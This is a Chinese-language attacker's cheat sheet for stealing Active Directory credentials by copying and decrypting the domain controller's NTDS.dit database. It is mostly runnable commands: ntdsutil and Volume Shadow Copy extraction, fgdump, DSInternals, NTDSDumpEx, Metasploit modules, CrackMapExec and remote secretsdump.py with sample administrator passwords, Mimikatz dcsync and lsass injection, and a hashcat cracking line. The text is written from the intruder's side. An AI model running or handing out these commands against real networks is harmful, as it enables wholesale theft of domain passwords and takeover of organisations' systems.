权限: 管理员 | SYSTEM
描述:
攻击者可能试图访问或创建活动目录域数据库的副本,以窃取凭证信息,以及获得有关域成员的其他信息,如设备、用户和访问权限。默认情况下,NTDS文件(NTDS.dit)位于域控制器的%SystemRoot%\NTDS\Ntds.dit。
除了在活动域控制器上寻找NTDS文件外,攻击者还可能搜索包含相同或类似信息的备份。
:::color1 解密 NTDS 文件需要系统启动密钥来尝试解密存储在文件系统的 LSA 独立凭证,所以如果要成功转储 NTDS 文件内容我们需要:
- C:\Windows\NTDS\ntds.dit
- C:\Windows\System32\config\SYSTEM
- C:\Windows\System32\config\SECURITY
:::
提取凭证
Ntdsutil
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
fgdump
./fgdump.exe
# Remote host with specified user
./fgdump.exe -h <IP> -u <User>
Invoke-DCsync
Link: https://github.com/pentestfactory/Invoke-DCSync
. .\Invoke-DCsync.ps1
Powershell:NTDSUtil
我们启动一个 PowerShell 实例。然后我们运行带有一堆参数的 NTDSutil.exe,指示它在 C:\ 驱动器中创建一个名为 temp 的目录,并要求 NTDSUtil 使用它的能力进入 Active Directory 数据库并获取 SYSTEM 和 SECURITY 配置单元文件以及ntds.dit 文件。经过一段时间的工作,我们在临时目录中有了 hive 文件。
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
我们将配置单元文件传输到我们的 Kali Linux 机器上,以从中提取哈希值。我们将使用impacket 工具包中的secretsdump.py文件来提取哈希值。我们只需要提供 SYSTEM 配置单元文件和 NTDS.dit 文件的路径,我们就可以开始了。我们看到 secretsdump 在几秒钟内为我们提取了哈希值。
./secretsdump.py -ntds /root/ntds.dit -system /root/SYSTEM LOCAL
DSInternals
DSInternals 是由 Michael Grafnetter 设计的用于执行 AD 安全审计的框架。它是 PowerShell 官方库的一部分。这意味着我们可以使用cmdlet Save-Module下载它。下载后我们需要在使用前安装模块。这可以使用cmdlet Install-Module来完成。这将需要更改执行策略。安装模块后,我们就可以开始了。
我们首先使用 Get-Bootkey cmdlet 从 System Hive 中提取引导密钥。获得引导密钥后,我们将使用它从 NTDIS 文件中读取一个或多个帐户的数据,包括使用 Get-ADBAccount cmdlet 的哈希值等秘密属性。
Save-Module DSInternals -Path C:\Windows\System32\WindowsPowershell\v1.0\Modules
Set-ExecutionPolicy Unrestricted
Import-Module DSInternals
Get-BootKey -SystemHivePath 'C:\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -Bootkey <bootkey value>
Get-ADBAccount cmdlet 创建一长串输出。在这里,我们向您展示目标机器的一位用户的数据。我们可以看到我们已经成功地从 NTDS.dit 文件中提取了 NTLM 哈希。
NTDSDump.exe
下载位置(GitHub)我们需要提供 ntds.dit 文件和 System Hive 文件的路径。NTDSDumpEx 很快就会为我们提供用户列表及其各自的哈希值。
NTDSDumpEx.exe -d C:\ntds.dit -s C:\SYSTEM
Metasploit
NTDS_location
Metasploit 可以很好地从 NTDS.dit 文件中提取哈希值。我们有 2 个可以同时攻击 NTDS 的漏洞。第一个定位 ntds 文件。我们需要在目标系统上获取会话才能继续前进。获得会话后,我们选择 NTDS_location exploit 并将会话标识符设置为 exploit。运行漏洞利用程序后,我们看到我们有 NTDS.dit 文件的位置
use post/windows/gather/ntds_location
set session 1
exploit
NTDS_grabber
我们使用另一个可以从目标系统中提取 NTDS.dit 文件、SAM 和 SYSTEM 配置单元文件的漏洞。问题是,它以 .cab 压缩文件的形式传输这些文件。
use post/windows/gather/ntds_grabber
set session 1
exploit
该漏洞发挥作用并将 cab 文件传输到图像中可以看到的位置。现在要提取 NTDS.dit 和其他配置单元文件,我们将使用一个名为 cabextract 的工具。这将提取所有 3 个文件
cabextract <cab 文件名>
secretsdump
假设我们能够通过任何方法获取服务器的登录凭据但无法直接访问服务器的场景,我们可以在 Metasploit 框架中使用此漏洞利用远程从 NTDS.dit 文件中提取哈希值。我们将使用这个辅助工具来获取哈希值。我们需要提供目标机器的 IP 地址、用户名和密码。辅助工具将抓取哈希值并在几秒钟内将其显示在我们的屏幕上。
use auxiliary/scanner/smb/impacket/secretsdump
set rhosts 192.168.1.108
set smbuser administrator
set smbpass Ignite@987
exploit
psexec_ntdsgrab
use auxiliary/admin/smb/psexec_ntdsgrab
CrackMapExec
# 语法
crackmapexec smb [IP 地址] -u '[用户名]' -p '[密码]' -ntds drsuapi
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds drsuapi
Mimikatz
# Dump hashes for a specified users
Invoke-Mimikatz -command '"lsadump::dcsync /domain:security.local /user:moe"'
# Dump hashes for all users
Invoke-Mimikatz -command '"lsadump::dcsync /domain:security.local /all"'
# Dump hashes by injecting into the lsass process on the Domain Controller
Invoke-Mimikatz -command '"lsadump::lsa /inject"'
Secretsdump.py
远程转储
# With valid credentials
secretsdump.py security.local/moe:Password123@10.10.10.100 -just-dc-ntlm
# Dump from exfiltrated ntds.dit and SYSTEM files.
sudo secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
# Dump results from ntdsutil.exe method
secretsdump.py -system SYSTEM -security SECURITY -ntds ntds.dit LOCAL
Volume Shadow Copy
# Create VSS snapshot of system drive
vssadmin create shadow /for=C:
# create a copy of NTDS.dit and SYSTEM then move to C:\Exfiltration
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\Exfiltration
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM C:\Exfiltration
hash 解密
user@machine$ hashcat -m 1000 -a 0 /path/to/wordlist/such/as/rockyou.txt